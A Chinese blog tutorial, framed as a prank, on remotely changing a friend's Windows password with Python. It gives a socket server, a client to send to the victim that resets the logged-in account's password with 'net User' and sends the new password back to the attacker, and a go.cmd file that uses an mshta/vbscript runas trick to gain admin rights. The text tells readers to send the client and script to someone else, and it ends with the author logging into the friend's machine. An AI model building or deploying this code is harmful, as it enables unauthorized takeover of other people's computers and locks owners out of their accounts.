工具準備
開發環境:win10+python3.7
開發工具:pycharm
專案思路決議
一想到遠程,就想到創建連接,一想到創建鏈接,就想到socket套接字(一想到套接字,就聯想到我沒有男盆友)
分別為三個知識點:
很多人學習蟒蛇,不知道從何學起, 很多人學習python,掌握了基本語法之后,不知道在哪里尋找案例上手, 很多已經做了案例的人,卻不知道如何去學習更多高深的知識, 那么針對這三類人,我給大家提供一個好的學習平臺,免費獲取視頻教程,電子書,以及課程的源代碼! QQ群:101677771 歡迎加入,一起討論一起學習!
1.socket遠程連接
2.創建客戶端和服務端
3.管理員權限運行代碼
咱們今天是學習修改電腦密碼和遠程修改小伙伴的密碼,如果有哪里決議不好,歡迎大佬指點一下,
該專案代碼為3份(記住自己拿的是服務端的代碼,客服端代碼和go.cmd是發給別人的)
首先正常創建服務端:
- 創建套接字
- 系結ip埠
- 設定監聽
- 等待連接
- 接收資料列印資料
- 關閉連接
python源代碼
import socket # 匯入socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 創建socket server.bind(('192.168.246.1', 44444)) # 系結IP/埠 server.listen(5) # 監聽 print('***********等待連接*********') conn, addr = server.accept() # 連接 print(conn) print('客戶端的地址:', addr) client_msg = conn.recv(1024) print('客戶端修改的密碼是: %s' % client_msg) conn.close() server.close() 復制代碼
windows的修改電腦密碼的命令:net User 用戶名 修改的密碼(可以自己動手試一下)
在提醒一遍,記住服務端是我們自己拿著的哈,別傻乎乎的發給對方了哦!
接下來就寫發給小伙伴的客戶端:
- 連接服務端的IP和埠
獲取當前使用的電腦賬戶名生成隨機的電腦密碼在終端執行修改Windows密碼的指令發送修改之后的密碼關閉套接字
import socket # 匯入用到的模塊 import getpass import subprocess import random client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 創建socket實體 client.connect((ip, 埠)) # 連接server端IP地址/埠按你自己實際情況來 user = getpass.getuser() # 獲取計算機用戶名 print(user) psd = '' for j in range(1, 9): # 生成1-9的亂數 m = str(random.randrange(0, 10)) psd = psd + m subprocess.Popen(['net', 'User', user, psd]) # 在本地執行(類似于cmd命令) client.send(psd.encode('utf-8')) # 將密碼發送給server端 back_msg = client.recv(1024) client.close() # 關閉socket 復制代碼
到這一步基本就可以自己去嘗試了,嘿嘿,但是要注意,當前代碼只能修改權限是admin的賬戶,
非admin用戶需要提高自己的執行權限,直接使用超級管理員權限執行cmd檔案go.cmd
@echo off %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit cd /d "%~dp0" start python client.py 復制代碼
小結
最后我修改密碼成功登陸,竟然發現了他的密碼!
難怪每次我和他斗圖,我每次都斗不贏他,原來是背著我下了幾千個表情包,我怎么就沒有想到這個騷操作呢!!!
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/385261.html
標籤:其他
上一篇:1.5 實作一個優先級佇列
